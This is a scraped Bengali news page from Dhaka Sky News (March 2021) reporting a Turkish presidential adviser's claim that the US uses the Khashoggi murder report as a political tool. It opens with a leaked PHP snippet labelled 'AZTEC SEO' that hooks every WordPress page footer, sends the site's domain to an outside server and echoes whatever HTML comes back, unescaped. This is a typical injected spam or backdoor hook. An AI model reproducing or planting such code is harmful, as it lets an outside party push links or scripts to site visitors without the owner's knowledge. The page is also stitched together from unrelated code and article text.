/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99); খাশোগি হত্যার রিপোর্ট এখন আমেরিকার রাজনৈতিক হাতিয়ার: এর্দোগানের উপদেষ্টা | Dhaka Sky News

৩ আফগান নারী গণমাধ্যম কর্মী হত্যার দায় স্বীকার করল দায়েশ

আগের সংবাদ

সিরিয়াকে সদস্য পদ ফিরিয়ে দিন: আরব লীগকে ইরাক

পরের সংবাদ

খাশোগি হত্যার রিপোর্ট এখন আমেরিকার রাজনৈতিক হাতিয়ার: এর্দোগানের উপদেষ্টা

ঢাকা স্কাইনিউজ ডেস্ক

প্রকাশিত: March 4, 2021 , 10:30 pm

তুরস্কের প্রেসিডেন্টর উপদেষ্টা ইয়াসিন ওকতাই বলেছেন, সৌদি সাংবাদিক জামাল খাশোগি খুনের গোয়েন্দা প্রতিবেদনকে রাজনৈতিক হাতিয়ার হিসেবে ব্যবহার করছে আমেরিকা। তিনি বলেন, মার্কিন প্রেসিডেন্ট জো বাইডেন ন্যায়ের পক্ষে কাজ করছেন না। নিজেদের স্বার্থে এটাকে ব্যবহার করছেন।

তিনি বলেন, এই গোয়েন্দা প্রতিবেদনটি এখন আমেরিকার অশুভ উদ্দেশ্য বাস্তবায়নের হাতিয়ার হিসেবে ব্যবহৃত হচ্ছে। আমেরিকা কেবল এ ক্ষেত্রে নিজের স্বার্থকে গুরুত্ব দিচ্ছে, ন্যায়-অন্যায়কে নিজের স্বার্থের মানদণ্ডে বিচার করছে।

তুর্কি প্রেসিডেন্টের উপদেষ্টা ইয়াসিন ওকতাই আরও বলেন, মধ্যপ্রাচ্যের জুলুমের প্রধান হোতা হচ্ছে দখলদার ইসরাইল। নয়া বাইডেন সরকারও ইহুদিবাদের সবচেয়ে বড় প্রতিনিধি। ফলে বাইডেনের মধ্যপ্রাচ্য নীতি ন্যায়ভিত্তিক হবে এমনটা আশা করা যায় না।

আমেরিকা সম্প্রতি খাশোগি হত্যার বিষয়ে গোয়েন্দা প্রতিবেদন প্রকাশ করেছে। এরপর তা থেকে কয়েক জনের নাম বাদও দিয়েছে।

২০১৮ সালের অক্টোবরে তুরস্কের ইস্তাম্বুলের সৌদি কনস্যুলেটে নির্মমভাবে খুন হন সাংবাদিক জামাল খাশোগি। তার মরদেহ টুকরো টুকরো করে ফেলা হয়। তিনি সৌদি আরবের যুবরাজ মোহাম্মদ বিন সালমানের কট্টর সমালোচক ছিলেন।

শুরু থেকেই হত্যার নির্দেশদাতা হিসেবে মোহাম্মদ বিন সালমানকে সন্দেহ করা হচ্ছে। সৌদি আরব প্রথমে এই হত্যার সঙ্গে জড়িত থাকার কথা অস্বীকার করলেও পরে আন্তর্জাতিক চাপে খুনের কথা স্বীকার করে। তবে এখন পর্যন্ত মৃতদেহের সন্ধান দেয়নি সৌদি রাজপরিবার।

সৌদি যুবরাজ প্রবাসে বসবাসকারী আরও কয়েকজন সাবেক সৌদি কর্মকর্তাকে হত্যার জন্য ঘাতক স্কোয়াড গঠন করেছেন বলে অভিযোগ রয়েছে। সূত্র : পার্সটুডে